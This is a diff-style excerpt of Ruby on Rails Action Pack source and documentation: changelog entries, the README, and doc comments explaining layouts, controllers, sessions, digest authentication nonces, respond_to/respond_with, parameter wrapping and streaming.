+ * New method `patch_via_redirect` available in integration tests.
+
+ *dlee*
+
+* Integration tests support the `OPTIONS` method. *Jeremy Kemper*
+
+* `expires_in` accepts a `must_revalidate` flag. If true, "must-revalidate"
+ is added to the Cache-Control header. *fxn*
+
+* Add `date_field` and `date_field_tag` helpers which render an `input[type="date"]` tag *Olek Janiszewski*
+
+* Adds `image_url`, `javascript_url`, `stylesheet_url`, `audio_url`, `video_url`, and `font_url`
+ to assets tag helper. These URL helpers will return the full path to your assets. This is useful

+ the same way with `collection_radio_buttons` and `collection_check_boxes`.
+
+ *Carlos Antonio da Silva + Rafael Mendonça França*
+
+* Add `collection_check_boxes` form helper, similar to `collection_select`:
+ Example:
+
+ collection_check_boxes :post, :author_ids, Author.all, :id, :name
+ # Outputs something like:
+ <input id="post_author_ids_1" name="post[author_ids][]" type="checkbox" value="1" />

+ <label for="post_author_ids_2">D. Thomas</label>
+ <input name="post[author_ids][]" type="hidden" value="" />
+
+ The label/check_box pairs can be customized with a block.
+
+ *Carlos Antonio da Silva + Rafael Mendonça França*

+
+ The label/radio_button pairs can be customized with a block.
+
+ *Carlos Antonio da Silva + Rafael Mendonça França*
+
+* `check_box` with `:form` html5 attribute will now replicate the `:form`

+= Action Pack -- From request to response
+
+Action Pack is a framework for handling and responding to web requests. It
+provides mechanisms for *routing* (mapping request URLs to actions), defining
+*controllers* that implement actions, and generating responses by rendering
+*views*, which are templates of various formats. In short, Action Pack
+provides the view and controller layers in the MVC paradigm.
+
+It consists of several modules:
+
+* Action Dispatch, which parses information about the web request, handles
+ routing as defined by the user, and does advanced processing related to HTTP
+ such as MIME-type negotiation, decoding parameters in POST, PATCH, or PUT bodies,
+ handling HTTP caching logic, cookies and sessions.
+
+* Action Controller, which provides a base controller class that can be
+ subclassed to implement filters and actions to handle requests. The result
+ of an action is typically content generated from views.
+
+* Action View, which handles view template lookup and rendering, and provides
+ view helpers that assist when building HTML forms, Atom feeds and more.
+ Template formats that Action View handles are ERB (embedded Ruby, typically
+ used to inline short Ruby snippets inside HTML), and XML Builder.
+
+With the Ruby on Rails framework, users only directly interface with the
+Action Controller module. Necessary Action Dispatch functionality is activated
+by default and Action View rendering is implicitly triggered by Action
+Controller. However, these modules are designed to function on their own and
+can be used outside of Rails.
+
+
+== Download and installation
+
+The latest version of Action Pack can be installed with RubyGems:
+
+ % [sudo] gem install actionpack
+
+Source code can be downloaded as part of the Rails project on GitHub
+
+* https://github.com/rails/rails/tree/master/actionpack

+== Running with Rake
+
+The easiest way to run the unit tests is through Rake. The default task runs
+the entire test suite for all classes. For more information, checkout the
+full array of rake tasks with "rake -T"
+
+Rake can be found at http://rake.rubyforge.org
+
+== Running by hand
+
+To run a single test suite
+
+ rake test TEST=path/to/test.rb
+
+which can be further narrowed down to one test:
+
+ rake test TEST=path/to/test.rb TESTOPTS="--name=test_something"
+
+== Dependency on Active Record and database setup
+
+Test cases in the test/active_record/ directory depend on having
+activerecord and sqlite installed. If Active Record is not in
+actionpack/../activerecord directory, or the sqlite rubygem is not installed,
+these tests are skipped.
+
+Other tests are runnable from a fresh copy of actionpack without any configuration.

+
+module AbstractController
+ # Layouts reverse the common pattern of including shared headers and footers in many templates to isolate changes in
+ # repeated setups. The inclusion pattern has pages that look like this:
+ #
+ # <%= render "shared/header" %>
+ # Hello World
+ # <%= render "shared/footer" %>
+ #
+ # This approach is a decent way of keeping common structures isolated from the changing content, but it's verbose
+ # and if you ever want to change the structure of these two includes, you'll have to change all the templates.
+ #
+ # With layouts, you can flip it around and have the common structure know where to insert changing content. This means
+ # that the header and footer are only mentioned in one place, like this:
+ #
+ # // The header part of this layout
+ # <%= yield %>
+ # // The footer part of this layout
+ #
+ # And then you have content pages that look like this:
+ #
+ # hello world
+ #
+ # At rendering time, the content page is computed and then inserted in the layout, like this:
+ #
+ # // The header part of this layout
+ # hello world
+ # // The footer part of this layout
+ #
+ # == Accessing shared variables
+ #
+ # Layouts have access to variables specified in the content pages and vice versa. This allows you to have layouts with
+ # references that won't materialize before rendering time:
+ #
+ # <h1><%= @page_title %></h1>
+ # <%= yield %>
+ #
+ # ...and content pages that fulfill these references _at_ rendering time:
+ #
+ # <% @page_title = "Welcome" %>
+ # Off-world colonies offers you a chance to start a new life
+ #
+ # The result after rendering is:
+ #
+ # <h1>Welcome</h1>
+ # Off-world colonies offers you a chance to start a new life
+ #
+ # == Layout assignment
+ #
+ # You can either specify a layout declaratively (using the #layout class method) or give
+ # it the same name as your controller, and place it in <tt>app/views/layouts</tt>.
+ # If a subclass does not have a layout specified, it inherits its layout using normal Ruby inheritance.
+ #
+ # For instance, if you have PostsController and a template named <tt>app/views/layouts/posts.html.erb</tt>,
+ # that template will be used for all actions in PostsController and controllers inheriting
+ # from PostsController.
+ #
+ # If you use a module, for instance Weblog::PostsController, you will need a template named
+ # <tt>app/views/layouts/weblog/posts.html.erb</tt>.
+ #
+ # Since all your controllers inherit from ApplicationController, they will use
+ # <tt>app/views/layouts/application.html.erb</tt> if no other layout is specified
+ # or provided.
+ #
+ # == Inheritance Examples
+ #
+ # class BankController < ActionController::Base
+ # # bank.html.erb exists
+ #
+ # class ExchangeController < BankController
+ # # exchange.html.erb exists
+ #
+ # class CurrencyController < BankController
+ #
+ # class InformationController < BankController
+ # layout "information"
+ #
+ # class TellerController < InformationController
+ # # teller.html.erb exists
+ #
+ # class EmployeeController < InformationController
+ # # employee.html.erb exists
+ # layout nil
+ #
+ # class VaultController < BankController
+ # layout :access_level_layout
+ #
+ # class TillController < BankController
+ # layout false
+ #
+ # In these examples, we have three implicit lookup scenarios:
+ # * The BankController uses the "bank" layout.
+ # * The ExchangeController uses the "exchange" layout.
+ # * The CurrencyController inherits the layout from BankController.
+ #
+ # However, when a layout is explicitly set, the explicitly set layout wins:
+ # * The InformationController uses the "information" layout, explicitly set.
+ # * The TellerController also uses the "information" layout, because the parent explicitly set it.
+ # * The EmployeeController uses the "employee" layout, because it set the layout to nil, resetting the parent configuration.
+ # * The VaultController chooses a layout dynamically by calling the <tt>access_level_layout</tt> method.
+ # * The TillController does not use a layout at all.
+ #
+ # == Types of layouts
+ #
+ # Layouts are basically just regular templates, but the name of this template needs not be specified statically. Sometimes
+ # you want to alternate layouts depending on runtime information, such as whether someone is logged in or not. This can
+ # be done either by specifying a method reference as a symbol or using an inline method (as a proc).
+ #
+ # The method reference is the preferred approach to variable layouts and is used like this:
+ #
+ # class WeblogController < ActionController::Base
+ # layout :writers_and_readers
+ #
+ # def index
+ # # fetching posts
+ # end
+ #
+ # private
+ # def writers_and_readers
+ # logged_in? ? "writer_layout" : "reader_layout"
+ # end
+ # end
+ #
+ # Now when a new request for the index action is processed, the layout will vary depending on whether the person accessing
+ # is logged in or not.
+ #
+ # If you want to use an inline method, such as a proc, do something like this:
+ #
+ # class WeblogController < ActionController::Base
+ # layout proc { |controller| controller.logged_in? ? "writer_layout" : "reader_layout" }
+ # end
+ #
+ # If an argument isn't given to the proc, it's evaluated in the context of
+ # the current controller anyway.
+ #
+ # class WeblogController < ActionController::Base
+ # layout proc { logged_in? ? "writer_layout" : "reader_layout" }
+ # end
+ #
+ # Of course, the most common way of specifying a layout is still just as a plain template name:
+ #
+ # class WeblogController < ActionController::Base
+ # layout "weblog_standard"
+ # end
+ #
+ # The template will be looked always in <tt>app/views/layouts/</tt> folder. But you can point
+ # <tt>layouts</tt> folder direct also. <tt>layout "layouts/demo"</tt> is the same as <tt>layout "demo"</tt>.
+ #
+ # Setting the layout to nil forces it to be looked up in the filesystem and fallbacks to the parent behavior if none exists.
+ # Setting it to nil is useful to re-enable template lookup overriding a previous configuration set in the parent:
+ #
+ # class ApplicationController < ActionController::Base
+ # layout "application"
+ # end
+ #
+ # class PostsController < ApplicationController
+ # # Will use "application" layout
+ # end
+ #
+ # class CommentsController < ApplicationController
+ # # Will search for "comments" layout and fallback "application" layout
+ # layout nil
+ # end
+ #
+ # == Conditional layouts
+ #
+ # If you have a layout that by default is applied to all the actions of a controller, you still have the option of rendering
+ # a given action or set of actions without a layout, or restricting a layout to only a single action or a set of actions. The
+ # <tt>:only</tt> and <tt>:except</tt> options can be passed to the layout call. For example:
+ #
+ # class WeblogController < ActionController::Base
+ # layout "weblog_standard", except: :rss
+ #
+ # # ...
+ #
+ # end
+ #
+ # This will assign "weblog_standard" as the WeblogController's layout for all actions except for the +rss+ action, which will
+ # be rendered directly, without wrapping a layout around the rendered view.
+ #
+ # Both the <tt>:only</tt> and <tt>:except</tt> condition can accept an arbitrary number of method references, so
+ # #<tt>except: [ :rss, :text_only ]</tt> is valid, as is <tt>except: :rss</tt>.
+ #
+ # == Using a different layout in the action render call
+ #
+ # If most of your actions use the same layout, it makes perfect sense to define a controller-wide layout as described above.
+ # Sometimes you'll have exceptions where one action wants to use a different layout than the rest of the controller.
+ # You can do this by passing a <tt>:layout</tt> option to the <tt>render</tt> call. For example:
+ #
+ # class WeblogController < ActionController::Base
+ # layout "weblog_standard"
+ #
+ # def help
+ # render action: "help", layout: "help"
+ # end
+ # end
+ #
+ # This will override the controller-wide "weblog_standard" layout, and will render the help action with the "help" layout instead.

+
+module ActionController
+ # Action Controllers are the core of a web request in \Rails. They are made up of one or more actions that are executed
+ # on request and then either render a template or redirect to another action. An action is defined as a public method
+ # on the controller, which will automatically be made accessible to the web-server through \Rails Routes.
+ #
+ # By default, only the ApplicationController in a \Rails application inherits from <tt>ActionController::Base</tt>. All other
+ # controllers in turn inherit from ApplicationController. This gives you one class to configure things such as
+ # request forgery protection and filtering of sensitive request parameters.
+ #
+ # A sample controller could look like this:
+ #
+ # class PostsController < ApplicationController
+ # def index
+ # @posts = Post.all
+ # end
+ #
+ # def create
+ # @post = Post.create params[:post]
+ # redirect_to posts_path
+ # end
+ # end
+ #
+ # Actions, by default, render a template in the <tt>app/views</tt> directory corresponding to the name of the controller and action
+ # after executing code in the action. For example, the +index+ action of the PostsController would render the
+ # template <tt>app/views/posts/index.html.erb</tt> by default after populating the <tt>@posts</tt> instance variable.
+ #
+ # Unlike index, the create action will not render a template. After performing its main purpose (creating a
+ # new post), it initiates a redirect instead. This redirect works by returning an external
+ # "302 Moved" HTTP response that takes the user to the index action.
+ #
+ # These two methods represent the two basic action archetypes used in Action Controllers. Get-and-show and do-and-redirect.
+ # Most actions are variations on these themes.
+ #
+ # == Requests
+ #
+ # For every request, the router determines the value of the +controller+ and +action+ keys. These determine which controller
+ # and action are called. The remaining request parameters, the session (if one is available), and the full request with
+ # all the HTTP headers are made available to the action through accessor methods. Then the action is performed.
+ #
+ # The full request object is available via the request accessor and is primarily used to query for HTTP headers:
+ #
+ # def server_ip
+ # location = request.env["SERVER_ADDR"]
+ # render text: "This server hosted at #{location}"
+ # end
+ #
+ # == Parameters
+ #
+ # All request parameters, whether they come from a GET or POST request, or from the URL, are available through the params method
+ # which returns a hash. For example, an action that was performed through <tt>/posts?category=All&limit=5</tt> will include
+ # <tt>{ "category" => "All", "limit" => "5" }</tt> in params.
+ #
+ # It's also possible to construct multi-dimensional parameter hashes by specifying keys using brackets, such as:
+ #
+ # <input type="text" name="post[name]" value="david">
+ # <input type="text" name="post[address]" value="hyacintvej">
+ #
+ # A request stemming from a form holding these inputs will include <tt>{ "post" => { "name" => "david", "address" => "hyacintvej" } }</tt>.
+ # If the address input had been named "post[address][street]", the params would have included
+ # <tt>{ "post" => { "address" => { "street" => "hyacintvej" } } }</tt>. There's no limit to the depth of the nesting.
+ #
+ # == Sessions
+ #
+ # Sessions allow you to store objects in between requests. This is useful for objects that are not yet ready to be persisted,
+ # such as a Signup object constructed in a multi-paged process, or objects that don't change much and are needed all the time, such
+ # as a User object for a system that requires login. The session should not be used, however, as a cache for objects where it's likely
+ # they could be changed unknowingly. It's usually too much work to keep it all synchronized -- something databases already excel at.
+ #
+ # You can place objects in the session by using the <tt>session</tt> method, which accesses a hash:
+ #
+ # session[:person] = Person.authenticate(user_name, password)
+ #
+ # And retrieved again through the same hash:
+ #
+ # Hello #{session[:person]}
+ #
+ # For removing objects from the session, you can either assign a single key to +nil+:
+ #
+ # # removes :person from session
+ # session[:person] = nil
+ #
+ # or you can remove the entire session with +reset_session+.
+ #
+ # Sessions are stored by default in a browser cookie that's cryptographically signed, but unencrypted.
+ # This prevents the user from tampering with the session but also allows him to see its contents.
+ #
+ # Do not put secret information in cookie-based sessions!
+ #
+ # == Responses
+ #
+ # Each action results in a response, which holds the headers and document to be sent to the user's browser. The actual response
+ # object is generated automatically through the use of renders and redirects and requires no user intervention.
+ #
+ # == Renders
+ #
+ # Action Controller sends content to the user by using one of five rendering methods. The most versatile and common is the rendering
+ # of a template. Included in the Action Pack is the Action View, which enables rendering of ERB templates. It's automatically configured.
+ # The controller passes objects to the view by assigning instance variables:
+ #
+ # def show
+ # @post = Post.find(params[:id])
+ # end
+ #
+ # Which are then automatically available to the view:
+ #
+ # Title: <%= @post.title %>
+ #
+ # You don't have to rely on the automated rendering. For example, actions that could result in the rendering of different templates
+ # will use the manual rendering methods:
+ #
+ # def search
+ # @results = Search.find(params[:query])
+ # case @results.count
+ # when 0 then render action: "no_results"
+ # when 1 then render action: "show"
+ # when 2..10 then render action: "show_many"
+ # end
+ # end
+ #
+ # Read more about writing ERB and Builder templates in ActionView::Base.
+ #
+ # == Redirects
+ #
+ # Redirects are used to move from one action to another. For example, after a <tt>create</tt> action, which stores a blog entry to the
+ # database, we might like to show the user the new entry. Because we're following good DRY principles (Don't Repeat Yourself), we're
+ # going to reuse (and redirect to) a <tt>show</tt> action that we'll assume has already been created. The code might look like this:
+ #
+ # def create
+ # @entry = Entry.new(params[:entry])
+ # if @entry.save
+ # # The entry was saved correctly, redirect to show
+ # redirect_to action: 'show', id: @entry.id
+ # else
+ # # things didn't go so well, do something else
+ # end
+ # end
+ #
+ # In this case, after saving our new entry to the database, the user is redirected to the <tt>show</tt> method, which is then executed.
+ # Note that this is an external HTTP-level redirection which will cause the browser to make a second request (a GET to the show action),
+ # and not some internal re-routing which calls both "create" and then "show" within one request.
+ #
+ # Learn more about <tt>redirect_to</tt> and what options you have in ActionController::Redirecting.
+ #
+ # == Calling multiple redirects or renders
+ #
+ # An action may contain only a single render or a single redirect. Attempting to try to do either again will result in a DoubleRenderError:
+ #
+ # def do_something
+ # redirect_to action: "elsewhere"
+ # render action: "overthere" # raises DoubleRenderError
+ # end
+ #
+ # If you need to redirect on the condition of something, then be sure to add "and return" to halt execution.
+ #
+ # def do_something
+ # redirect_to(action: "elsewhere") and return if monkeys.nil?
+ # render action: "overthere" # won't be called if monkeys is nil
+ # end
+ #

+ #
+ # The +authenticate_or_request_with_http_digest+ block must return the user's password
+ # or the ha1 digest hash so the framework can appropriately hash to check the user's
+ # credentials. Returning +nil+ will cause authentication to fail.
+ #
+ # Storing the ha1 hash: MD5(username:realm:password), is better than storing a plain password. If
+ # the password file or database is compromised, the attacker would be able to use the ha1 hash to
+ # authenticate as the user at this +realm+, but would not have the user's password to try using at
+ # other sites.
+ #
+ # In rare instances, web servers or front proxies strip authorization headers before
+ # they reach your application. You can debug this situation by logging all environment
+ # variables, and check for HTTP_AUTHORIZATION, amongst others.

+ # It is recommended that this string be base64 or hexadecimal data.
+ # Specifically, since the string is passed in the header lines as a quoted string, the double-quote character is not allowed.
+ #
+ # The contents of the nonce are implementation dependent.
+ # The quality of the implementation depends on a good choice.
+ # A nonce might, for example, be constructed as the base 64 encoding of
+ #
+ # time-stamp H(time-stamp ":" ETag ":" private-key)
+ #
+ # where time-stamp is a server-generated time or other non-repeating value,
+ # ETag is the value of the HTTP ETag header associated with the requested entity,
+ # and private-key is data known only to the server.
+ # With a nonce of this form a server would recalculate the hash portion after receiving the client authentication header and
+ # reject the request if it did not match the nonce from that header or
+ # if the time-stamp value is not recent enough. In this way the server can limit the time of the nonce's validity.
+ # The inclusion of the ETag prevents a replay request for an updated version of the resource.
+ # (Note: including the IP address of the client in the nonce would appear to offer the server the ability
+ # to limit the reuse of the nonce to the same client that originally got it.
+ # However, that would break proxy farms, where requests from a single user often go through different proxies in the farm.
+ # Also, IP address spoofing is not that hard.)
+ #
+ # An implementation might choose not to accept a previously used nonce or a previously used digest, in order to
+ # protect against a replay attack. Or, an implementation might choose to use one-time nonces or digests for
+ # POST, PUT, or PATCH requests and a time-stamp for GET requests. For more details on the issues involved see Section 4
+ # of this document.
+ #
+ # The nonce is opaque to the client. Composed of Time, and hash of Time with secret
+ # key from the Rails session secret generated upon creation of project. Ensures
+ # the time cannot be modified by client.

+ # is a PATCH, PUT, or POST, and if client is browser or web service.

+ # class ApplicationController < ActionController::Base

+ # end
+ #
+ # What that says is, "if the client wants HTML in response to this action, just respond as we
+ # would have before, but if the client wants XML, return them the list of people in XML format."
+ # (Rails determines the desired response format from the HTTP Accept header submitted by the client.)
+ #
+ # Supposing you have an action that adds a new person, optionally creating their company
+ # (by name) if it does not already exist, without web-services, it might look like this:
+ #
+ # def create
+ # @company = Company.find_or_create_by(name: params[:company][:name])
+ # @person = @company.people.create(params[:person])
+ #
+ # redirect_to(person_list_url)
+ # end
+ #
+ # Here's the same action, with web-service support baked in:
+ #
+ # def create
+ # company = params[:person].delete(:company)
+ # @company = Company.find_or_create_by(name: company[:name])
+ # @person = @company.people.create(params[:person])

+ # format.html { redirect_to(person_list_url) }
+ # format.js
+ # format.xml { render xml: @person.to_xml(include: @company) }
+ # end
+ # end
+ #
+ # If the client wants HTML, we just redirect them back to the person list. If they want JavaScript,
+ # then it is an Ajax request and we render the JavaScript template associated with this action.
+ # Lastly, if the client wants XML, we render the created person as XML, but with a twist: we also
+ # include the person's company in the rendered XML, so you get something like this:
+ #
+ # <person>
+ # <id>...</id>
+ # ...
+ # <company>
+ # <id>...</id>
+ # <name>...</name>
+ # ...
+ # </company>
+ # </person>
+ #
+ # Note, however, the extra bit at the top of that action:
+ #
+ # company = params[:person].delete(:company)
+ # @company = Company.find_or_create_by(name: company[:name])
+ #
+ # This is because the incoming XML document (if a web-service request is in process) can only contain a
+ # single root-node. So, we have to rearrange things so that the request looks like this (url-encoded):
+ #
+ # person[name]=...&person[company][name]=...&...
+ #
+ # And, like this (xml-encoded):
+ #
+ # <person>
+ # <name>...</name>
+ # <company>
+ # <name>...</name>
+ # </company>
+ # </person>
+ #
+ # In other words, we make the request so that it operates on a single entity's person. Then, in the action,
+ # we extract the company data from the request, find or create the company, and then create the new person
+ # with the remaining data.
+ #
+ # Note that you can define your own XML parameter parser which would allow you to describe multiple entities
+ # in a single request (i.e., by wrapping them all in a single root node), but if you just go with the flow
+ # and accept Rails' defaults, life will be much easier.
+ #
+ # If you need to use a MIME type which isn't supported by default, you can register your own handlers in
+ # config/initializers/mime_types.rb as follows.
+ #
+ # Mime::Type.register "image/jpg", :jpg
+ #
+ # Respond to also allows you to specify a common block for different formats by using any:
+ #
+ # def index
+ # @people = Person.all
+ #
+ # respond_to do |format|
+ # format.html
+ # format.any(:xml, :json) { render request.format.to_sym => @people }
+ # end
+ # end
+ #
+ # In the example above, if the format is xml, it will render:
+ #
+ # render xml: @people
+ #
+ # Or if the format is json:
+ #
+ # render json: @people
+ #
+ # Since this is a common pattern, you can use the class method respond_to
+ # with the respond_with method to have the same results:
+ #
+ # class PeopleController < ApplicationController
+ # respond_to :html, :xml, :json
+ #
+ # def index
+ # @people = Person.all
+ # respond_with(@people)
+ # end
+ # end
+ #
+ # Be sure to check the documentation of +respond_with+ and
+ # <tt>ActionController::MimeResponds.respond_to</tt> for more examples.
+ def respond_to(*mimes, &block)
+ raise ArgumentError, "respond_to takes either types or a block, never both" if mimes.any? && block_given?
+
+ if collector = retrieve_collector_from_mimes(mimes, &block)
+ response = collector.response
+ response ? response.call : render({})
+ end
+ end
+
+ # For a given controller action, respond_with generates an appropriate
+ # response based on the mime-type requested by the client.
+ #
+ # If the method is called with just a resource, as in this example -
+ #
+ # class PeopleController < ApplicationController
+ # respond_to :html, :xml, :json
+ #
+ # def index
+ # @people = Person.all
+ # respond_with @people
+ # end
+ # end
+ #
+ # then the mime-type of the response is typically selected based on the
+ # request's Accept header and the set of available formats declared
+ # by previous calls to the controller's class method +respond_to+. Alternatively
+ # the mime-type can be selected by explicitly setting <tt>request.format</tt> in
+ # the controller.
+ #
+ # If an acceptable format is not identified, the application returns a
+ # '406 - not acceptable' status. Otherwise, the default response is to render
+ # a template named after the current action and the selected format,
+ # e.g. <tt>index.html.erb</tt>. If no template is available, the behavior
+ # depends on the selected format:
+ #
+ # * for an html response - if the request method is +get+, an exception
+ # is raised but for other requests such as +post+ the response
+ # depends on whether the resource has any validation errors (i.e.
+ # assuming that an attempt has been made to save the resource,
+ # e.g. by a +create+ action) -
+ # 1. If there are no errors, i.e. the resource
+ # was saved successfully, the response +redirect+'s to the resource
+ # i.e. its +show+ action.
+ # 2. If there are validation errors, the response
+ # renders a default action, which is <tt>:new</tt> for a
+ # +post+ request or <tt>:edit</tt> for +patch+ or +put+.
+ # Thus an example like this -
+ #
+ # respond_to :html, :xml
+ #
+ # def create
+ # @user = User.new(params[:user])
+ # flash[:notice] = 'User was successfully created.' if @user.save
+ # respond_with(@user)
+ # end
+ #
+ # is equivalent, in the absence of <tt>create.html.erb</tt>, to -
+ #
+ # def create
+ # @user = User.new(params[:user])
+ # respond_to do |format|
+ # if @user.save
+ # flash[:notice] = 'User was successfully created.'
+ # format.html { redirect_to(@user) }
+ # format.xml { render xml: @user }
+ # else
+ # format.html { render action: "new" }
+ # format.xml { render xml: @user }
+ # end
+ # end
+ # end
+ #
+ # * for a javascript request - if the template isn't found, an exception is
+ # raised.
+ # * for other requests - i.e. data formats such as xml, json, csv etc, if
+ # the resource passed to +respond_with+ responds to <code>to_<format></code>,
+ # the method attempts to render the resource in the requested format
+ # directly, e.g. for an xml request, the response is equivalent to calling
+ # <code>render xml: resource</code>.
+ #
+ # === Nested resources
+ #
+ # As outlined above, the +resources+ argument passed to +respond_with+
+ # can play two roles. It can be used to generate the redirect url
+ # for successful html requests (e.g. for +create+ actions when
+ # no template exists), while for formats other than html and javascript
+ # it is the object that gets rendered, by being converted directly to the
+ # required format (again assuming no template exists).
+ #
+ # For redirecting successful html requests, +respond_with+ also supports
+ # the use of nested resources, which are supplied in the same way as
+ # in <code>form_for</code> and <code>polymorphic_url</code>. For example -
+ #
+ # def create
+ # @project = Project.find(params[:project_id])
+ # @task = @project.comments.build(params[:task])
+ # flash[:notice] = 'Task was successfully created.' if @task.save
+ # respond_with(@project, @task)
+ # end
+ #
+ # This would cause +respond_with+ to redirect to <code>project_task_url</code>
+ # instead of <code>task_url</code>. For request formats other than html or
+ # javascript, if multiple resources are passed in this way, it is the last
+ # one specified that is rendered.
+ #
+ # === Customizing response behavior
+ #
+ # Like +respond_to+, +respond_with+ may also be called with a block that
+ # can be used to overwrite any of the default responses, e.g. -
+ #
+ # def create
+ # @user = User.new(params[:user])
+ # flash[:notice] = "User was successfully created." if @user.save
+ #
+ # respond_with(@user) do |format|
+ # format.html { render }
+ # end
+ # end
+ #
+ # The argument passed to the block is an ActionController::MimeResponds::Collector
+ # object which stores the responses for the formats defined within the
+ # block. Note that formats with responses defined explicitly in this way
+ # do not have to first be declared using the class method +respond_to+.
+ #
+ # Also, a hash passed to +respond_with+ immediately after the specified
+ # resource(s) is interpreted as a set of options relevant to all
+ # formats. Any option accepted by +render+ can be used, e.g.
+ # respond_with @people, status: 200
+ # However, note that these options are ignored after an unsuccessful attempt
+ # to save a resource, e.g. when automatically rendering <tt>:new</tt>
+ # after a post request.
+ #
+ # Two additional options are relevant specifically to +respond_with+ -
+ # 1. <tt>:location</tt> - overwrites the default redirect location used after
+ # a successful html +post+ request.
+ # 2. <tt>:action</tt> - overwrites the default render action used after an
+ # unsuccessful html +post+ request.

+ # Wraps the parameters hash into a nested hash. This will allow clients to submit

+ #
+ # This functionality is enabled in +config/initializers/wrap_parameters.rb+
+ # and can be customized. If you are upgrading to \Rails 3.1, this file will
+ # need to be created for the functionality to be enabled.
+ #
+ # You could also turn it on per controller by setting the format array to
+ # a non-empty array:
+ #
+ # class UsersController < ApplicationController
+ # wrap_parameters format: [:json, :xml]
+ # end
+ #
+ # If you enable +ParamsWrapper+ for +:json+ format, instead of having to
+ # send JSON parameters like this:
+ #
+ # {"user": {"name": "Konata"}}
+ #
+ # You can send parameters like this:
+ #
+ # {"name": "Konata"}
+ #
+ # And it will be wrapped into a nested hash with the key name matching the
+ # controller's name. For example, if you're posting to +UsersController+,
+ # your new +params+ hash will look like this:
+ #
+ # {"name" => "Konata", "user" => {"name" => "Konata"}}
+ #
+ # You can also specify the key in which the parameters should be wrapped to,
+ # and also the list of attributes it should wrap by using either +:include+ or
+ # +:exclude+ options like this:
+ #
+ # class UsersController < ApplicationController
+ # wrap_parameters :person, include: [:username, :password]
+ # end
+ #
+ # On ActiveRecord models with no +:include+ or +:exclude+ option set,
+ # it will only wrap the parameters returned by the class method
+ # <tt>attribute_names</tt>.
+ #
+ # If you're going to pass the parameters to an +ActiveModel+ object (such as
+ # <tt>User.new(params[:user])</tt>), you might consider passing the model class to
+ # the method instead. The +ParamsWrapper+ will actually try to determine the

+ #
+ # class UsersController < ApplicationController

+ # you want to wrap.
+ #
+ # By default, if you don't specify the key in which the parameters would be

+ # a model related to it or not. This controller, for example:
+ #
+ # class Admin::UsersController < ApplicationController
+ # end
+ #
+ # will try to check if <tt>Admin::User</tt> or +User+ model exists, and use it to

+require 'active_support/json'
+
+module ActionController #:nodoc:
+ # Responsible for exposing a resource to different mime requests,
+ # usually depending on the HTTP verb. The responder is triggered when
+ # <code>respond_with</code> is called. The simplest case to study is a GET request:
+ #
+ # class PeopleController < ApplicationController
+ # respond_to :html, :xml, :json
+ #
+ # def index
+ # @people = Person.all
+ # respond_with(@people)
+ # end
+ # end
+ #
+ # When a request comes in, for example for an XML response, three steps happen:
+ #
+ # 1) the responder searches for a template at people/index.xml;
+ #
+ # 2) if the template is not available, it will invoke <code>#to_xml</code> on the given resource;
+ #
+ # 3) if the responder does not <code>respond_to :to_xml</code>, call <code>#to_format</code> on it.
+ #
+ # === Builtin HTTP verb semantics
+ #
+ # The default \Rails responder holds semantics for each HTTP verb. Depending on the
+ # content type, verb and the resource status, it will behave differently.
+ #
+ # Using \Rails default responder, a POST request for creating an object could
+ # be written as:
+ #
+ # def create
+ # @user = User.new(params[:user])
+ # flash[:notice] = 'User was successfully created.' if @user.save
+ # respond_with(@user)
+ # end
+ #
+ # Which is exactly the same as:
+ #
+ # def create
+ # @user = User.new(params[:user])
+ #
+ # respond_to do |format|
+ # if @user.save
+ # flash[:notice] = 'User was successfully created.'
+ # format.html { redirect_to(@user) }
+ # format.xml { render xml: @user, status: :created, location: @user }
+ # else
+ # format.html { render action: "new" }
+ # format.xml { render xml: @user.errors, status: :unprocessable_entity }
+ # end
+ # end
+ # end
+ #
+ # The same happens for PATCH/PUT and DELETE requests.
+ #
+ # === Nested resources
+ #
+ # You can supply nested resources as you do in <code>form_for</code> and <code>polymorphic_url</code>.
+ # Consider the project has many tasks example. The create action for
+ # TasksController would be like:
+ #
+ # def create
+ # @project = Project.find(params[:project_id])
+ # @task = @project.tasks.build(params[:task])
+ # flash[:notice] = 'Task was successfully created.' if @task.save
+ # respond_with(@project, @task)
+ # end
+ #
+ # Giving several resources ensures that the responder will redirect to
+ # <code>project_task_url</code> instead of <code>task_url</code>.
+ #
+ # Namespaced and singleton resources require a symbol to be given, as in
+ # polymorphic urls. If a project has one manager which has many tasks, it
+ # should be invoked as:
+ #
+ # respond_with(@project, :manager, @task)
+ #
+ # Note that if you give an array, it will be treated as a collection,
+ # so the following is not equivalent:
+ #
+ # respond_with [@project, :manager, @task]
+ #
+ # === Custom options
+ #
+ # <code>respond_with</code> also allows you to pass options that are forwarded
+ # to the underlying render call. Those options are only applied for success
+ # scenarios. For instance, you can do the following in the create method above:
+ #
+ # def create
+ # @project = Project.find(params[:project_id])
+ # @task = @project.tasks.build(params[:task])
+ # flash[:notice] = 'Task was successfully created.' if @task.save
+ # respond_with(@project, @task, status: 201)
+ # end
+ #
+ # This will return status 201 if the task was saved successfully. If not,
+ # it will simply ignore the given options and return status 422 and the
+ # resource errors. To customize the failure scenario, you can pass a
+ # a block to <code>respond_with</code>:
+ #
+ # def create
+ # @project = Project.find(params[:project_id])
+ # @task = @project.tasks.build(params[:task])
+ # respond_with(@project, @task, status: 201) do |format|
+ # if @task.save
+ # flash[:notice] = 'Task was successfully created.'
+ # else
+ # format.html { render "some_special_template" }
+ # end
+ # end
+ # end
+ #
+ # Using <code>respond_with</code> with a block follows the same syntax as <code>respond_to</code>.

+require 'rack/chunked'
+
+module ActionController #:nodoc:
+ # Allows views to be streamed back to the client as they are rendered.
+ #
+ # The default way Rails renders views is by first rendering the template
+ # and then the layout. The response is sent to the client after the whole
+ # template is rendered, all queries are made, and the layout is processed.
+ #
+ # Streaming inverts the rendering flow by rendering the layout first and
+ # streaming each part of the layout as they are processed. This allows the
+ # header of the HTML (which is usually in the layout) to be streamed back
+ # to client very quickly, allowing JavaScripts and stylesheets to be loaded
+ # earlier than usual.
+ #
+ # This approach was introduced in Rails 3.1 and is still improving. Several
+ # Rack middlewares may not work and you need to be careful when streaming.
+ # Those points are going to be addressed soon.
+ #
+ # In order to use streaming, you will need to use a Ruby version that
+ # supports fibers (fibers are supported since version 1.9.2 of the main
+ # Ruby implementation).
+ #
+ # Streaming can be added to a given template easily, all you need to do is
+ # to pass the :stream option.
+ #
+ # class PostsController
+ # def index
+ # @posts = Post.all
+ # render stream: true
+ # end
+ # end
+ #
+ # == When to use streaming
+ #
+ # Streaming may be considered to be overkill for lightweight actions like
+ # +new+ or +edit+. The real benefit of streaming is on expensive actions
+ # that, for example, do a lot of queries on the database.
+ #
